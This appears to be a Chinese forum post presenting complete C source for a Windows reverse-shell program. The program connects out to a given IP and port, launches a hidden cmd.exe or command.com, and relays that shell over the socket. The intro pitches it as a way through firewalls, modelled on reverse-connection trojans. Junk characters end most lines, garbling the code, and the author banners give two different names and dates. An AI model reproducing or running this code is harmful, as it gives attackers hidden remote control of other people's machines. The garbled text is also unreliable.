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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :;x#qtv~Iz  
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/* ============================== :n?}G0y  
Rebound port in Windows NT !P)7t`X  
By wind,2006/7 k|^nrjStC  
===============================*/ y /?;s]>b  
#include xeHqC9Ou  
#include  s@3<]  
#KSB%  
#pragma comment(lib,"wsock32.lib") f1VA61z{)  
i `8Y/$aT  
void OutputShell(); A7 :W0Gg  
SOCKET sClient; hmd,g>J:<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T\HP5&  
_nnl+S>K  
void main(int argc,char **argv) y+[wlo&WC  
{ Yc'7F7.<6  
WSADATA stWsaData; 785Y*.p  
int nRet; }%-`CJ,  
SOCKADDR_IN stSaiClient,stSaiServer; DU4Prjb'  
T1b9Zqc)f  
if(argc != 3) =mk7'A>l  
{ esEOV$s}  
printf("Useage:\n\rRebound DestIP DestPort\n"); t\+vTvT)RE  
return; i`:r2kU:*W  
} >7V&pH'  
]+S.#x`#  
WSAStartup(MAKEWORD(2,2),&stWsaData); CD0SXNi"zH  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h:+>=~\  
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stSaiClient.sin_family = AF_INET; kR-5RaW  
stSaiClient.sin_port = htons(0); , v6[#NU_Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ex2*oqAdX  
Ih95&HsdC  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c~Hq.K$d  
{ LNU9M>  
printf("Bind Socket Failed!\n"); V# 6`PD6  
return; = %7:[#n  
} "|"bo5M:   
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stSaiServer.sin_family = AF_INET; vi>V6IC4v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >!YI7)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \G*vY#]  
(sn|`k3I  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NC2PW+(  
{ `ml;#n,*  
printf("Connect Error!"); O@_)]z?jUc  
return; I|$_[Sw  
} [H)p#x  
OutputShell(); \9BIRY`  
} A! 1>  
}g _#.>D+  
void OutputShell() B)"WG7W E  
{ ~c3CyOab  
char szBuff[1024]; ZA ii"F  
SECURITY_ATTRIBUTES stSecurityAttributes; Kc\0-3 Z  
OSVERSIONINFO stOsversionInfo; ziy~~J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zn3i2MWS  
STARTUPINFO stStartupInfo; )5X7|*LP  
char *szShell; ?z60b=f8  
PROCESS_INFORMATION stProcessInformation; ^IM;D)X&:  
unsigned long lBytesRead; _"F(w"|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NzRL(A6V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y?aOk-TaRA  
stSecurityAttributes.lpSecurityDescriptor = 0; v1zJr6ra9  
stSecurityAttributes.bInheritHandle = TRUE; I\DT(9 'E  
crC];LMl/  
4Kt?; y ;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '89D62\89  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Hj;j\R >2  
w>rglm&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f.'o4HSj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ./ib{ @A.  
stStartupInfo.wShowWindow = SW_HIDE; )mZ`j.  
stStartupInfo.hStdInput = hReadPipe; A0WQZt!FEN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W~Mj6c~S"  
&ze'V , :  
GetVersionEx(&stOsversionInfo); mnXaf)"  
H, =??wN  
switch(stOsversionInfo.dwPlatformId) DjL(-7'p  
{ #,  vN  
case 1: D9c8#k9Y.  
szShell = "command.com"; ">voi$Kzey  
break; oc-7gz)  
default: hgKs[ySo,3  
szShell = "cmd.exe"; "mT~_BsD  
break; "Rs^0iT7>  
} K=Fcy#, f  
sbNCviKP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IEeh)aj[  
Q:kpaMA1P  
send(sClient,szMsg,77,0); %r~TMU2"  
while(1) /5r[M=_ihr  
{ .f&,~$e4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I[<C)IG  
if(lBytesRead) 35jP</  
{ sOLo[5y'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F/RV{} 17E  
send(sClient,szBuff,lBytesRead,0); }(TZ}* d  
} o &LNtl;  
else -F|(Y1OE  
{ s bW`  
lBytesRead=recv(sClient,szBuff,1024,0); ^O[q C X  
if(lBytesRead<=0) break; <h7C_^L10\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l= !KZaH  
} vM\8>p*U  
} S]{K^Q),  
18ci-W#p  
return; ybf`7KEP2A  
}
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